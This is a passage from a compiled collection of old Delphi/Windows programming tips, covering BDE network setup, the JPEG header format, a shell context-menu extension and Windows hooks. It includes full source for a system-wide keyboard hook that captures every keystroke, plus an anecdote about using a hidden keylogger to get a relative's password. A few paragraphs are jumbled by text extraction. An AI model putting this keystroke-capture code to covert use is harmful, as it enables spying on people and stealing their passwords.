If for some reason UNC cannot be used with the 32Bit application, follow directions for using BDE 32Bit and 16Bit applications. Setup for 16Bit and 32Bit BDE Applications -----------------------------------------Since the 16Bit Windows API does not support UNC, neither does the 16Bit BDE. To allow applications to share the tables, all clients must be mapped to the same directory on the server. If the server is also used as a client, all other clients must be mapped to the root of the drive. Drive letters from client to client do not have to be identical. Here are some examples of what will and will not work: Client1: Path: X:\ShareDir\Tables Client2: Path: X:\ShareDir\Tables This is OK Client1: Path: Client2: Path: This is
(Also the machine with the tables): C:\ShareDir\Tables X:\ShareDir\Tables OK
Client1: (Also the machine with the tables): Path: C:\ShareDir\Tables Client2: Path: X:\ShareDir\Tables Client3: Path: R:\ShareDir\Tables This is OK Client1: Path: X:\ShareDir\Tables Client2: Path: X:\Tables (Where X:\Tables is actually X:\ShareDir\Tables, but shared on the ShareDir directory) This will not work. The BDE must be able to make the same entry into the Network Control file. In Summary (setup for Peer-To-Peer networks): --------------------------------------------16 and / or 32Bit Applications: 1) Turn "LOCAL SHARE" to TRUE in the BDE Configuration Utility. 2) Do not use the UNC naming convention. 3) Do not use tables with long file names. 665
4) Make sure that all clients are mapped to the same directory on the server. 32Bit Only Applications: 1) Turn "LOCAL SHARE" to TRUE in the BDE Configuration Utility 2) Use the UNC naming convention to achieve a path to the network directory and table directory. If the above steps are not followed, users could be locked out of the tables getting error: "Directory is controlled by other .NET file." "File: (Path1) PDOXUSRS.LCK" "Directory: (Path2)" OR "Multiple .NET files in use." "File: (Path) PDOXUSRS.LCK" Reference: 7/15/98 3:24:23 PM
666
THe key is part of a set that will be processed by the OS, not by your application. MS has two strategies for such keys. The first is to hand the key to the application and do the default processing for it in the default window proc that is supposed to get all messages not handled in application code. The second is to handle the key on a lower level (between keyboard driver and message queue, or in the keyboard driver), which means the application never sees it. Keys in the first category you would see, at least if you look for them in Application.OnMessage, since the active control normally does not want to see all keys. Keys in the second category you never see, not even in a message hook. VK_SNAPSHOT seems to fall into the second category, it does not turn up in Application.OnMEssage. There is a way to get notified of it, however: make it a hotkey for your application. Example: Using PrintScr to print a form type TForm1 = class(TForm) Button1: TButton; Label1: TLabel; Label2: TLabel; private { Private declarations } procedure wmHotkey( Var msg: TWMHotkey ); message WM_HOTKEY; procedure WMActivate( Var msg: TWMActivate ); message WM_ACTIVATE; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure tform1.wmHotkey( Var msg: TWMHotkey ); begin if msg.HotKey = IDHOT_SNAPWINDOW Then label1.caption := 'PrintScr pressed'; // would print form from here end; procedure TForm1.WMActivate( Var msg: TWMActivate ); begin If msg.Active <> WA_INACTIVE Then RegisterHotkey( Handle, IDHOT_SNAPWINDOW, 0, VK_SNAPSHOT ) 667
Else begin UnRegisterHotkey( Handle, IDHOT_SNAPWINDOW ); label1.caption := ''; end; inherited; end; --
668
JPEG Header Format Strictly speaking, JPEG files do not have formal headers, but fg_jpeghead() and fgi_jpeghead() return relevant information from the file's start of frame segment. We call it a header for consistency with other image file formats. offset
size
description
0
2
JPEG SOI marker (FFD8 hex)
2
2
image width in pixels
4
2
image height in pixels
6
1
number of components (1 = grayscale, 3 = RGB)
7
1
horizontal/vertical sampling factors for component 1
8
1
sampling factors for component 2 (if RGB)
9
1
sampling factors for component 3 (if RGB)
669
Brought to you by JPEG HEADER Before the image data is ever loaded when a JPEG image is selected for viewing the markers must be read. In a JPEG image, the very first marker is the SOI, or Start Of Image, marker. This is the first "hey, I'm a JPEG" declaration by the file. The JPEG standard, as written by the Joint Picture Expert's Group, specified the JPEG interchange format. This format had several shortcomings for which the JFIF (JPEG File Interchange Format) was an attempted remedy. The JFIF is the format used by almost all JPEG file readers/writers. It tells the image readers, "Hey, I'm a JPEG that almost anyone can understand." Most markers will have additional information following them. When this is the case, the marker and its associated information is referred to as a "header." In a header the marker is immediately followed by two bytes that indicate the length of the information, in bytes, that the header contains. The two bytes that indicate the length are always included in that count. A marker is prefixed by FF (hexadecimal). The marker/header information that follows does not specify all known markers, just the essential ones for baseline JPEG. A component is a specific color channel in an image. For instance, an RGB image contains three components; Red, Green, and Blue. © 1998 by James R. Weeks
Start of Image (SOI) marker -- two bytes (FFD8) JFIF marker (FFE0) length -- two bytes identifier -- five bytes: 4A, 46, 49, 46, 00 (the ASCII code equivalent of a zero terminated "JFIF" string) version -- two bytes: often 01, 02 the most significant byte is used for major revisions the least significant byte for minor revisions units -- one byte: Units for the X and Y densities 0 => no units, X and Y specify the pixel aspect ratio 1 => X and Y are dots per inch 2 => X and Y are dots per cm Xdensity -- two bytes Ydensity -- two bytes Xthumbnail -- one byte: 0 = no thumbnail Ythumbnail -- one byte: 0 = no thumbnail (RGB)n -- 3n bytes: packed (24-bit) RGB values for the thumbnail pixels, n = Xthumbnail * Ythumbnail Define Quantization table marker (FFDB)
670
the first two bytes, the length, after the marker indicate the number of bytes, including the two length bytes, that this header contains until the length is exhausted (loads two quantization tables for baseline JPEG) the precision and the quantization table index -- one byte: precision is specified by the higher four bits and index is specified by the lower four bits precision in this case is either 0 or 1 and indicates the precision of the quantized values; 8-bit (baseline) for 0 and up to 16-bit for 1 the quantization values -- 64 bytes the quantization tables are stored in zigzag format Define Huffman table marker (FFC4) the first two bytes, the length, after the marker indicate the number of bytes, including the two length bytes, that this header contains until length is exhausted (usually four Huffman tables) index -- one byte: if >15 (i.e. 0x10 or more) then an AC table, otherwise a DC table bits -- 16 bytes Huffman values -- # of bytes = the sum of the previous 16 bytes Start of frame marker (FFC0) the first two bytes, the length, after the marker indicate the number of bytes, including the two length bytes, that this header contains P -- one byte: sample precision in bits (usually 8, for baseline JPEG) Y -- two bytes X -- two bytes Nf -- one byte: the number of components in the image 3 for color baseline JPEG images 1 for grayscale baseline JPEG images Nf times: Component ID -- one byte H and V sampling factors -- one byte: H is first four bits and V is second four bits Quantization table number-- one byte The H and V sampling factors dictate the final size of the component they are associated with. For instance, the color space defaults to YCbCr and the H and V sampling factors for each component, Y, Cb, and Cr, default to 2, 1, and 1, respectively (2 for both H and V of the Y component, etc.) in the Jpeg-6a library by the Independent Jpeg Group. While this does mean that the Y component will be twice the size of the other two components--giving it a higher resolution, the lower resolution components are quartered in size during compression in order to achieve this difference. Thus, the Cb and Cr components must be quadrupled in size during decompression. Start of Scan marker (FFDA) the first two bytes, the length, after the marker indicate the number of bytes, including the two length bytes, that this header contains Number of components, n -- one byte: the number of components in this scan 671
n times: Component ID -- one byte DC and AC table numbers -- one byte: DC # is first four bits and AC # is last four bits Ss -- one byte Se -- one byte Ah and Al -- one byte Comment marker (FFFE) the first two bytes, the length, after the marker indicate the number of bytes, including the two length bytes, that this header contains whatever the user wants End of Image (EOI) marker (FFD9) the very last marker
This page has been viewed
times.
672
I'm trying to write a DLL, and export the function so that I can use it with > the rundll32 command, which should allow me to run the function in the dll > by using rundll32. library Run32Test; uses Windows; procedure Test(Wnd: HWND; Instance: HINST; CmdLine: PChar; CmdShow: Integer); stdcall; begin MessageBox(Wnd, CmdLine, 'Run32Test', MB_OK); end; exports Test; begin end. Usage: C:\Projects\Dummy\Run32Test>rundll32 run32test.dll,Test Hello world Note that there must be no space after the comma, and that the method name is case sensitive.
673
unit main; interface uses Windows,ActiveX,ComObj,ShlObj,Classes,Graphics; type TContextMenu = class(TComObject,IShellExtInit,IContextMenu) private FFileName : array[0..MAX_PATH] of Char; FMenuIndex : UINT; FDataObject : IDataObject; FBitmap, FICON : TBitmap; protected function IShellExtInit.Initialize = SEIInitialize; // Avoid compiler warning function SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject; hKeyProgID: HKEY): HResult; stdcall; function QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast, uFlags: UINT): HResult; stdcall; function InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; stdcall; function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT; pszName: LPSTR; cchMax: UINT): HResult; stdcall; end; const Class_ContextMenu: TGUID = '{19741013-C829-11D1-8233-0020AF3E97A9}'; var FileList:TStringList; Buffer:array[1..1024]of char; implementation uses ComServ, SysUtils, ShellApi, Registry; function TContextMenu.SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject; hKeyProgID: HKEY): HResult; var StgMedium: TStgMedium; FormatEtc: TFormatEtc; FileNumber,i:Integer; begin if (lpdobj = nil) then begin Result := E_INVALIDARG; Exit; end; FDataObject := lpdobj; if FBitmap=nil then begin FBitmap := TBitmap.Create; FBitmap.Width := 50; FBitmap.Height:= 60; FBitmap.Canvas.FillRect(Rect(0, 0, 50, 60)); FBitmap.Canvas.LineTo(50, 60); end; 674
if FICON=nil then begin FICON := TBitmap.Create; FICON.LoadFromResourceName(HInstance, 'LIGHT'); end; FileList:=TStringList.Create; FileList.Clear; with FormatEtc do begin cfFormat := CF_HDROP; ptd := nil; dwAspect := DVASPECT_CONTENT; lindex := -1; tymed := TYMED_HGLOBAL; end; Result := lpdobj.GetData(FormatEtc, StgMedium); if Failed(Result) then Exit; FileNumber := DragQueryFile(StgMedium.hGlobal,$FFFFFFFF,nil,0); for i:=0 to FileNumber-1 do begin DragQueryFile(StgMedium.hGlobal, i, FFileName, SizeOf(FFileName)); FileList.Add(FFileName); Result := NOERROR; end; ReleaseStgMedium(StgMedium); end; function TContextMenu.QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast, uFlags: UINT): HResult; var MenuText1, MenuText2, MenuText3, MenuText4: string; PopupMenu : HMenu; idCmd : Cardinal; begin Result := NOERROR; if ((uFlags and $0000000F)=CMF_NORMAL) then begin MenuText1 := '&New menuitem 1, Normal File'; MenuText2 := '&New menuitem 2, Normal File'; MenuText3 := '&New menuitem 3, Normal File'; MenuText4 := '&New menuitem 4, Normal File'; end else if (uFlags and CMF_VERBSONLY) <> 0 then begin MenuText1 := '&New menuitem 1, Shortcut File'; MenuText2 := '&New menuitem 2, Shortcut File'; MenuText3 := '&New menuitem 3, Shortcut File'; MenuText4 := '&New menuitem 4, Shortcut File'; end else if (uFlags and CMF_EXPLORE) <> 0 then begin MenuText1 := '&New menuitem 1, File right click in Explorer'; MenuText2 := '&New menuitem 2, File right click in Explorer'; MenuText3 := '&New menuitem 3, File right click in Explorer'; MenuText4 := '&New menuitem 4, File right click in Explorer'; 675
end else if (uFlags and CMF_DEFAULTONLY) <> 0 then begin exit; end else exit; FMenuIndex:=indexMenu; idCmd := idCmdFirst; PopupMenu := CreatePopupMenu; InsertMenu(Menu,indexMenu,MF_SEPARATOR or MF_BYPOSITION,0,Pointer(0)); Inc(IndexMenu); InsertMenu(Menu,indexMenu,MF_STRING or MF_BYPOSITION or MF_POPUP,PopupMenu,PChar(MenuText1)); SetMenuItemBitmaps(Menu,indexMenu,MF_BYPOSITION,FICON.Handle,FICON.Handl e); Inc(IndexMenu); InsertMenu(PopupMenu,0,MF_STRING or MF_BYPOSITION,idCmd,PChar('SubMenu Item 1')); SetMenuItemBitmaps(PopupMenu,0,MF_BYPOSITION,FICON.Handle,FICON.Handle); Inc(idCmd); InsertMenu(PopupMenu,1,MF_STRING or MF_BYPOSITION,idCmd,PChar('SubMenu Item 2')); SetMenuItemBitmaps(PopupMenu,1,MF_BYPOSITION,FICON.Handle,FICON.Handle); Inc(idCmd); InsertMenu(Menu,indexMenu,MF_STRING or MF_BYPOSITION,idCmd,PChar(MenuText2)); Inc(IndexMenu);Inc(idCmd); InsertMenu(Menu,indexMenu,MF_STRING or MF_BYPOSITION,idCmd,PChar(MenuText3)); Inc(IndexMenu);Inc(idCmd); InsertMenu(Menu,indexMenu,MF_BITMAP or MF_BYPOSITION,idCmd,PChar(FBitmap.Handle)); Inc(IndexMenu);Inc(idCmd); InsertMenu(Menu,indexMenu,MF_SEPARATOR or MF_BYPOSITION,0,Pointer(0)); Result := idCmd - idCmdFirst; end; function TContextMenu.InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; var idCmd: cardinal; i:Integer; FileListStr : string; begin Result := E_INVALIDARG; if (HiWord(Integer(lpici.lpVerb)) <> 0) then begin Result := E_FAIL; Exit; end; //if HIWORD(lpcmi->lpVerb)£¬ then we have been called programmatically //and lpVerb is a command that should be invoked. Otherwise, the shell 676
//has called us, and LOWORD(lpcmi->lpVerb) is the menu ID the user has //selected. Actually, it's (menu ID - idCmdFirst) from QueryContextMenu(). idCmd := LoWord(Integer(lpici.lpVerb)); FileListStr := 'Invoke menu item '+IntToStr(idCmd) + ' , '+IntToStr(FileList.Count)+' files selected' + #13#10; for i:=0 to FileList.Count -1 do begin FileListStr:=FileListStr + FileList.Strings[i] + #13#10; end; MessageBox(lpici.hwnd,PChar(FileListStr),'Shell Extension Sample',MB_OK); Result := NOERROR; //case idCmd of // 0: begin SomethingDo; end; // Click on menu item 1 // 1: begin .... end; // Click on menu item 2 // 2: begin .... end; // .......... // 3: begin .... end; //end; end;
function TContextMenu.GetCommandString(idCmd, uType: UINT; pwReserved: PUINT; pszName: LPSTR; cchMax: UINT): HRESULT; begin if (idCmd = FMenuIndex) then begin if (uType = GCS_HELPTEXT) then StrCopy(pszName, PChar('MenuItem '+IntToStr(idCmd)+' , '+IntToStr(FileList.Count)+' Files Selectd')); Result := NOERROR; end else Result := E_INVALIDARG; end;
type TContextMenuFactory = class(TComObjectFactory) public procedure UpdateRegistry(Register: Boolean); override; end;
procedure TContextMenuFactory.UpdateRegistry(Register: Boolean); var ClassID: string; begin if Register then begin inherited UpdateRegistry(Register); ClassID := GUIDToString(Class_ContextMenu); CreateRegKey('*\shellex', '', ''); CreateRegKey('*\shellex\ContextMenuHandlers', '', ''); 677
CreateRegKey('*\shellex\ContextMenuHandlers\OpenWithWordPad', '', ClassID); //Èç¹û²Ù×÷ϵͳΪWindows NTµÄ»° if (Win32Platform = VER_PLATFORM_WIN32_NT) then with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions', True); OpenKey('Approved', True); WriteString(ClassID, 'Context Menu Shell Extension'); finally Free; end; end else begin DeleteRegKey('*\shellex\ContextMenuHandlers\FileOpreation'); DeleteRegKey('*\shellex\ContextMenuHandlers'); // DeleteRegKey('*\shellex'); inherited UpdateRegistry(Register); end; end;
initialization TContextMenuFactory.Create(ComServer, TContextMenu, Class_ContextMenu, '', 'Context Menu Shell Extension', ciMultiInstance,tmApartment); end.
678
RTL reference|Glossary|Tips/Tricks|FREE App/VCL|Best'O'Net|Books|Link To
An introduction to hook procedures This document describes what Windows hooks are and how to use them within a Delphi application.
More of this Feature • Download code
Join the Discussion "Post your questions, concerns, views and comments to this article..." Discuss!
Related Resources • Win/API programming • Keyboard hooks
About Poll This [063001] article is: Awesome (5) Great (4) Ok (3) Not bad (2) Poor (1) Submit Vote
Current Results Article submitted by: Chris Cummings, http://wibblovia.topcities.com This document describes what windows hooks are and how to use them. In order to use hooks properly you will need a copy of the windows SDK, that can be downloaded from the Microsoft web site. The project hooks.dpr contains all the code for the program used in this document and hookdll.dpr contains the DLL required. The actual code itself is shown and explained more thoroughly as remarks within the projects.
679
What Are Hooks? Put shortly, a hook is a function you can create as part of a dll or your application to monitor the 'goings on' inside the windows operating system. The idea is to write a function that is called every time a certain event in windows occurs - for example when a user presses a key on the keyboard or moves the mouse. Hooks were provided by Microsoft primarily to help program writers with the debugging of their applications, but they can be put to use in many different ways - for example, my first use of them was to write hidden key logging program to find out my mums password to the internet! There are 2 types of hooks - global or local. A local hook is one that monitors things happening only for a specific program (or thread). A global hook monitors the entire system (all threads). Both types of hooks are set up in the same way, the main difference being that for a local hook, the function to be called can be within the program it is monitoring, but with a global hook the function must be stored and loaded from a separate dll.
Hook Procedures What follows is a quick description of each of the windows procedures required and also of the structure that your hook procedure should take. The SetWindowsHookEx function SetWindowsHookEx is the function provided by Microsoft to install a hook. It accepts the following arguments: Name
Type
Description
idHook
Integer
A number representing the type of hook - eg WH_KEYBOARD
lpfn
TFNHookProc The address in memory of the hook function
hMod
Hinst
The handle of the dll the hook function is in. If it is a local hook, this is 0.
dwThreadID Cardinal
The 'thread id' that the program is to monitor. If it is a global hook this is 0.
SetWindowsHookEx returns a handle (i.e. an identifier) for the current hook, so you can use UnhookWindowsHookEx to remove the hook later on. The hook function The hook function is the procedure to be called by windows when the event we specify happens. A hook for any event always takes the same form, but the values passed to it by windows can mean different things. For example if the hook is type WH_KEYBOARD, windows will pass information to it relating to which key was pressed. Your hook procedure should accept the following arguments: Name
Type
Description
Code
Integer
Indicates what the next 2 arguments mean
wParam word lParam
A parameter of size 1 word
longword A parameter of size 2 words
A hook function returns a value of type longword. What you should set it to depends on the type of hook, or you can just set it to the value that CallNextHookEx returns. The CallNextHookEx function This function is to do with 'hook chains'. When a hook is installed for a certain event, there may be others like it already installed - for example 2 programs at once might be trying to log keyboard input. When you install a hook with SetWindowsHookEx it adds your hook procedure to the front of a list of hook procedures. CallNextHookEx simply calls the next procedure in the list. When your hook procedure is finished, it can run CallNextHookEx, and then return the value it gets from it or a different one depending on the type of hook. CallNextHookEx takes exactly the same form as a hook procedure plus one extra - the handle returned by SetWindowsHookEx identifying the hook. The other values you pass to it should be the values your hook procedure was called with. How you should use it depends on
680
should be the values your hook procedure was called with. How you should use it depends on the type of hook. The UnhookWindowsHookEx function This is very simple! It simply removes your hook. The only argument you pass to it is the hook handle returned by SetWindowsHookEx. A Local Hook First up we will create a local hook. The important code for this is in 'local.pas'. Hooks.exe when run will display a small form. Click the Add/Remove Local Hook Button on this form to use the local hook. When the local hook is installed correctly, you should find that pressing any key and releasing it makes the beep sound, providing hooks.exe has the focus (since it is a local hook). The first function in local.pas is SetupLocalHook which creates a local hook, specifying the hook procedure as our KeyboardHook function. It simply calls SetWindowsHookEx, and if the handle returned is > 0, indicating the procedure works, it saves the handle in CurrentHook and returns true, otherwise it returns false. Next is RemoveLocalHook which takes the stored hook handle in CurrentHook and uses UnhookWindowsHookEx to remove it. Lastly is the hook procedure. The hook procedure simply checks if the key is being released, and if so beeps. A Global Hook The global hook is slightly more complicated. To create a global hook you need 2 projects, 1 to make the executable file and 1 to make a dll to contain the hook procedure. The global hook that is shown in the code records keydown events and every time 20 keys have been pressed it writes them to a file, log.txt. To use the global hook run hooks.exe and choose add/remove global hook. Then type something (say in notepad for example) that is more than 20 characters long. You will notice a file, log.txt appear that contains the text you wrote. The Dll you write should contain 2 procedures. The first, obviously being our hook procedure which in structure is identical to that defined for a local hook. The second is a simple procedure that you will find you need to do almost whenever you create a dll initialises a few variables in the dlls memory - these include the current number of the key that has been pressed and the handle for the hook that has been created. The executable file must first load the procedures in the dll and then use SetWindowsHookEx to define a global hook. Finally... This document and the code provided with it should have given you a good idea of how to use hooks. In order to find out about the different types of hook such as WH_MOUSE and get more information on how to use them you will need the windows SDK.
681
Hooks: Capture keys in all Windows applications Enviado Por (Send By): Radikal (Q3 Team) Web : http://www.q3.nu Email: [email protected] Fecha (Date): 03/03/00
Tip accessed 13722 times
A lot of people ask me about the possibility that our application Delphi captures the user's keystrokes, although the user doesn't make them our active application being. Of course... the first thing that we make is to give a turn for the event OnKeyPress of the form, and of course, without obtaining positive results, even putting the property KeyPreview from the form to true... This happens because our application will only receive messages of the keystrokes when is it who has the focus. The following step to solve this question is fighting with the keyboard hooks. A Hook it is not more than a mechanism that will allow us to spy the traffic of messages between Windows and the applications. To install a hook in our application is something relatively simple, but of course, if we install it in our application, we will only spy the messages that Windows sent to our application, so neither we will have solved the problem. Then... Which is the solution?. The solution is to install a Hook but at system level, that is to say, a hook that captures all the messages that circulate toward Windows. Installing a hook at system level has a great added complication that is the fact that the function to the one that calls the hook it must be contained in a DLL, not in our Delphi application. This condition, will force us, in the first place to build us a DLL, and in second place to to build us some invention to communicate the DLL with our application. In this trick you have an example of keyboard capture by means of a keyboard Hook to system level. The example consists of two projects, one for the DLL and another for the example application. The operation is the following one: · We make DLL with two functions that we will export, one to install the hook and another for ununstall it. · There is a third function that is the one that will execute the hook once installed (CallBack). In her, that will make it is to send the data of the message captured to
682
our application. The DLL should know in all moment the handle of the receiver application, so we will make him to read it of a memory mapped file that we will create from the own application. You have an example of use of memory mapped files in the trick: [381] - Share data between two Delphi applications We will send the data from the DLL to the application through user's message. You have other tricks in where this technique is also used, for example: [162] - Prevent double instance of your application Well, let's go with the example:
DLL that installs the Hook: · Make the skeleton of a DLL (File - New - DLL) · Change the code of the project for this another:
library Project1; { Demo de Hook de teclado Como lo que queremos es parte de Windows, necesitamos llamará el Hook en una DLL, que }
a nivel de sistema, Radikal. capturar las teclas pulsadas en cualquier instalar la funcion CallBack a la que es ésta misma.
uses Windows, Messages; const CM_MANDA_TECLA = WM_USER + $1000; var HookDeTeclado : HHook; FicheroM : THandle; PReceptor : ^Integer; function CallBackDelHook( Code wParam lParam )
: : : :
Integer; WPARAM; LPARAM LRESULT; stdcall;
{Esta es la funcion CallBack a la cual llamará el hook.} {This is the CallBack function called by he Hook} begin {Si una tecla fue pulsada o liberada}
683
{if a key was pressed/released} if code=HC_ACTION then begin {Miramos si existe el fichero} {if the mapfile exists} FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor'); {Si no existe, no enviamos nada a la aplicacion receptora} {If dont, send nothing to receiver application} if FicheroM<>0 then begin PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0); PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam); UnmapViewOfFile(PReceptor); CloseHandle(FicheroM); end; end; {Llamamos al siguiente hook de teclado de la cadena} {call to next hook of the chain} Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam) end; procedure HookOn; stdcall; {Procedure que instala el hook} {procedure for install the hook} begin HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0); end; procedure HookOff; stdcall; begin {procedure para desinstalar el hook} {procedure to uninstall the hook} UnhookWindowsHookEx(HookDeTeclado); end; exports {Exportamos las procedures...} {Export the procedures} HookOn, HookOff; begin end.
Now record the project with the name: ' HookTeclado.dpr' and compile it (Project Build All), and you will have generated the DLL of the project.
Receiver application · Make a new empty application · Put a TMemo (Memo1) in the form · Change the form's unit code by this other: 684
unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; const NombreDLL CM_MANDA_TECLA
= 'HookTeclado.dll'; = WM_USER + $1000;
type THookTeclado=procedure; stdcall; type TForm1 = class(TForm) Label1: TLabel; Memo1: TMemo; Button1: TButton; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } FicheroM : THandle; PReceptor : ^Integer; HandleDLL : THandle; HookOn, HookOff : THookTeclado; procedure LlegaDelHook(var message: TMessage); message CM_MANDA_TECLA; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin {No queremos que el Memo maneje el teclado...} {We dont want that the memo read the keyboard...} Memo1.ReadOnly:=TRUE; HandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+ NombreDLL ) ); if HandleDLL = 0 then raise Exception.Create('No se pudo cargar la DLL'); @HookOn :=GetProcAddress(HandleDLL, 'HookOn'); @HookOff:=GetProcAddress(HandleDLL, 'HookOff'); IF not assigned(HookOn) or not assigned(HookOff) then
685
not assigned(HookOff) then raise Exception.Create('No se encontraron las funciones en la DLL'+#13+ 'Cannot find the required DLL functions'); {Creamos el fichero de memoria} FicheroM:=CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'ElReceptor'); {Si no se creó el fichero, error} if FicheroM=0 then raise Exception.Create( 'Error al crear el fichero'+ '/Error while create file'); {Direccionamos nuestra estructura al fichero de memoria} PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_WRITE,0,0,0); {Escribimos datos en el fichero de memoria} PReceptor^:=Handle; HookOn; end; procedure TForm1.LlegaDelHook(var message: TMessage); var NombreTecla : array[0..100] of char; Accion : string; begin {Traducimos de Virtual key Code a TEXTO} {Virtual key code to Key Name} GetKeyNameText(Message.LParam,@NombreTecla,100); {Miramos si la tecla fué pulsada, soltada o repetida} {Look if the key was pressed, released o re-pressed} if ((Message.lParam shr 31) and 1)=1 then Accion:='Soltada' {Released} else if ((Message.lParam shr 30) and 1)=1 then Accion:='Repetida' {repressed} else Accion:='Pulsada'; {pressed} Memo1.Lines.Append( Accion+ ' tecla: '+ String(NombreTecla) ); end; procedure TForm1.FormDestroy(Sender: TObject); begin {Desactivamos el Hook} {Uninstall the Hook} if Assigned(HookOff) then HookOff; {Liberamos la DLL} {Free the DLL} if HandleDLL<>0 then FreeLibrary(HandleDLL);
686
{Cerramos la vista del fichero y el fichero} {Close the memfile and the View} if FicheroM<>0 then begin UnmapViewOfFile(PReceptor); CloseHandle(FicheroM); end; end; end.
· Record the project in the same directory of the project of the DLL and compile the application. If you have followed the steps until here, you will have in the directory of the two projects a DLL (HookTeclado.DLL) and the executable of the receiver application. Execute it, and you will see in the Memo1 all the keys pressed in Windows. If you only wanted an example that works, it is not necessary that you continue reading. If you want to know a little more than like the invention works... so... here you have it, step to step: We go starting from the event OnCreate of the application: First, we put the Memo1 to readonly. Imagine for what reason, or better, it proves to not putting it, to see that it happens...:)
procedure TForm1.FormCreate(Sender: TObject); begin {No queremos que el Memo maneje el teclado...} {We dont want that the memo read the keyboard...} Memo1.ReadOnly:=TRUE;
Now we load the DLL that we will suppose that it will be in the same directory that our executable one. If there was some problem when loading it, we generate an exception, in such a way that the following code would not be executed. HandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+ NombreDLL ) ); if HandleDLL = 0 then raise Exception.Create('No se pudo cargar la DLL');
687
· Once loaded the DLL, we look for the two functions that they should be in it. If they are not... we generate an exception. @HookOn :=GetProcAddress(HandleDLL, 'HookOn'); @HookOff:=GetProcAddress(HandleDLL, 'HookOff'); IF not assigned(HookOn) or
· Now, we make a memory mapped file, which will use to keep the handle of our form, the DLL will taste this way like who must send him the message with the key that has been pressed just reading this file.
· Once we have the memory mapped file, and a view pointing to it, we record the ·handle Well, of now that in our DLL HookOn: thesee form in itit,happens and we activate thewhen Hook,calling callingtotothe thefunction procedure HookOn of the DLL:
688
{procedure for install the hook} begin HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0); end;
As you see, there is not more than a call to SetWindowsHookEx, to install a hook at system level (0 in the last parameter) that will execute the function CallBackDelHook with each message that it captures. · Let us see that it makes the function CallBackDelHook when it is executed by the hook: First, it checks that the function has been called by a new keyboard event, by means of the if code=HC_ACTION. function CallBackDelHook( Code wParam lParam )
: : : :
Integer; WPARAM; LPARAM LRESULT; stdcall;
{Esta es la funcion CallBack a la cual llamará el hook.} {This is the CallBack function called by he Hook} begin {Si una tecla fue pulsada o liberada} {if a key was pressed/released} if code=HC_ACTION then begin
If it is this way, that is to say that is a new keyboard event that it is necessary to assist... the first thing that we should make is so to look for the handle from the application to which should send the message with the data of the pressed/released key, which have kept by heart in a file from the application, we try to open the file, and to read this handle, and if everything goes well, we send the message by means of a PostMessage: {Miramos si existe el fichero} {if the mapfile exists} FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor'); {Si no existe, no enviamos nada a la aplicacion receptora} {If dont, send nothing to receiver application} if FicheroM<>0 then begin PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0); PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam);
689
once sent the message, we free the file: UnmapViewOfFile(PReceptor); CloseHandle(FicheroM); end; end;
later, should call to next hook: {Llamamos al siguiente hook de teclado de la cadena} {call to next hook of the chain} Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam) end;
Well, do we have installed a hook that captures the keyboard events and does it forward them to our application... which the following step is?, of course... to make something to receive it... We will have to capture user's message that we have been defined:
and course, the get corresponding in the implementation that of which we will adding this procedure line in the private part of the form:part:
690
then Accion:='Soltada' {Released} else if ((Message.lParam shr 30) and 1)=1 then Accion:='Repetida' {repressed} else Accion:='Pulsada'; {pressed} Memo1.Lines.Append( Accion+ ' tecla: '+ String(NombreTecla) ); end;
In this example, I simply translate the data of the pressed/released key, translating it to its key name and adding it to the TMemo. If you want more information on the parameters than the function will receive, revise the help file Win32.hlp looking for the topic ' KeyboardProc'. There you will see the meaning of the parameters wParam and lParam that you will receive in the function. For I finish, we have left to undo this whole invention when we leave the application. The OnDestroy event of the application: First, uninstall the hook, calling to the HookOff function of the DLL. Care, is to use the if Assigned, because if there has been some problem when loading the DLL in the OnCreate... now we would try to execute something that was not initialized.
procedure TForm1.FormDestroy(Sender: TObject); begin {Desactivamos el Hook} {Uninstall the Hook} if Assigned(HookOff) then HookOff;
Now, free the DLL:
{Liberamos la DLL} {Free the DLL} if HandleDLL<>0 then FreeLibrary(HandleDLL);
And the file:
691
{Cerramos la vista del fichero y el fichero} {Close the memfile and the View} if FicheroM<>0 then begin UnmapViewOfFile(PReceptor); CloseHandle(FicheroM); end; end;
692
Looping AVI
We will use for it the OnNotify event of the TMediaPlayer component. · Put this code in the OnCreate event of the MediaPlayer:
procedure TForm1.MediaPlayer1Notify(Sender: TObject); begin With MediaPlayer1 do If NotifyValue = nvSuccessful Then Begin Notify := True; Play; End; end;
693
Bitmap en negativo Reverse Bitmap (negative) Enviado Por (Send By): Nacho Urenda Web : N.A. Email: [email protected] Fecha (Date): 13/10/00
Tip accessed 7307 times
This tip it's only for Delphi 32 bits (Delphi 2 or later...) · Add Windows in the uses of your form · Add these lines behind the uses line of your form: const MaxPixelCount
=
32768;
type pRGBArray TRGBArray
= =
^TRGBArray; ARRAY[0..MaxPixelCount-1] of TRGBTriple;
